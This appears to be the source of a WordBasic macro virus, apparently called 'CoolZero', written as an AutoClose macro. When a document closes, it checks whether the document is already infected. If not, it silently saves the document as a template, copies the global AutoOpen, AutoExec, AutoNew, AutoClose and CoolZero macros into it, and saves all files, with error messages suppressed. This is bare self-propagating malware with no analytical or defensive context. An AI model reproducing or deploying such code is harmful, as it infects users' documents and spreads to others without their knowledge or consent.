Sub MAIN
REM AutoClose macro
On Error Goto Finish

For i = 1 To CountMacros(1, 0)
        If MacroName$(i, 1, 1) = "CoolZero" Then
        VInstalled = 1
End If
Next i

If VInstalled = 1 Then
        Goto Finish
Else
        On Error Resume Next
        FileSaveAs .Format = 1
        MacroCopy "Global:AutoOpen",  FileName$() + ":AutoOpen"
        MacroCopy "Global:AutoExec",  FileName$() + ":AutoExec"
        MacroCopy "Global:AutoNew",   FileName$() + ":AutoNew"
        MacroCopy "Global:AutoClose", FileName$() + ":AutoClose"
        MacroCopy "Global:CoolZero",  FileName$() + "CoolZero"
        FileSaveAll 1, 0
End If

Finish:
End Sub